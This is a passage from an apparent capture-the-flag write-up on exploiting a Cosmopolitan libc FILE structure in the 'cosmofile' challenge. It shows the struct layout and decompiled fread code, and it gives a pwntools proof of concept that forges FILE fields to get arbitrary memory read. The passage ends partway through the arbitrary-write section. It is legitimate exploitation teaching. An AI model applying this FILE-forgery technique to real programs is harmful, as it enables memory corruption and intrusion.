style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000003\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eforking\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000004\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eoflags\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0000000\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003estate\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0000000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eC\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000010\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epid\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000014\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e// padding byte\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000015\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e// padding byte\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000016\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e// padding byte\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000017\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e// padding byte\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0000001\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esize\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0000001\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eC\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000020\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000024\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e// padding byte\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000025\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e// padding byte\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000026\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e// padding byte\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000027\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e// padding byte\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0000002\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000030\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003epthread_mutex_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elock\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0000005\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e     \u003cspan style=\"color:#111\"\u003eDll\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eelem\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e                           \u003cspan style=\"color:#75715e\"\u003e// XREF: stdin_init:loc_4019BE/o\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0000005\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e                                         \u003cspan style=\"color:#75715e\"\u003e// stdout_init+6/o ...\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0000006\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003egetln\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000070\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003esince there is no function pointers in it we will have to get arb read/write and write into the stack.\u003c/p\u003e\n\u003cp\u003eopening the fread function, we see that it claims the lock then, calls \u003ccode\u003efread_unlocked\u003c/code\u003e (which is where the logic of fread resides), it’s full decompilation is \u003ca href=\"/l3akctf2025-cosmofile/fread-decomp.c\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003ch3 id=\"getting-arb-read\"\u003eGetting arb read:\u003c/h3\u003e\n\u003cp\u003ewe can see at first it does some checks for overflow / file is readable … etc , then it has this piece of code which can be used to getting arb read:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ev9\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ecount\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e__int128\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003estride\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// in our case v9 is (0x1000 * 1) = 0x1000\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev13\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev13\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003e__int64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev9\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003enb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev9\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003ememmove\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev9\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev32\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enb\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev32\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev32\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_QWORD\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ecount\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eit checks if end - beg , which is the amount of data available in f-\u0026gt;buf is bigger than how much fread wants, and if it is it just memmove’s the data from the f→buf to the user provided buffer (which will be written to stdout after fread finishes) then it returns, since we can control f→buf, we can get arb read using this.\u003c/p\u003e\n\u003cp\u003ehere is a simple pwntools poc for getting arb read, our payload sets buf to the addr we want to read from and makes sure that end - beg is bigger than 0x1000, note that the payload is just the default values of the FILE struct with \u003ccode\u003ebeg\u003c/code\u003e, \u003ccode\u003eend\u003c/code\u003e, \u003ccode\u003esize\u003c/code\u003e and \u003ccode\u003eaddr\u003c/code\u003e replaced in, since they are the only values we want to change.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003earb_read\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eaddr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003esz\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x1000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x1000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0000024200010100\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0000000300000000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0000000000000000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep32\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esz\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep32\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep32\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep32\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eaddr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x000000000042f338\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x000000000042f3d8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0000000000000000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ewrite_to_FILE\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ecall_fread\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"getting-arb-write\"\u003eGetting arb write:\u003c/h3\u003e\n\u003cp\u003ethe only way we can get arb write is if fread writes into the FILE struct buf, and that only happens in this part of the function:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ev9\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ecount\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e__int128\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003estride\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ev11\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev9\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ena\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev11\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ememmove\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev13\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003efd\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev11\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ena\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eiov\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan 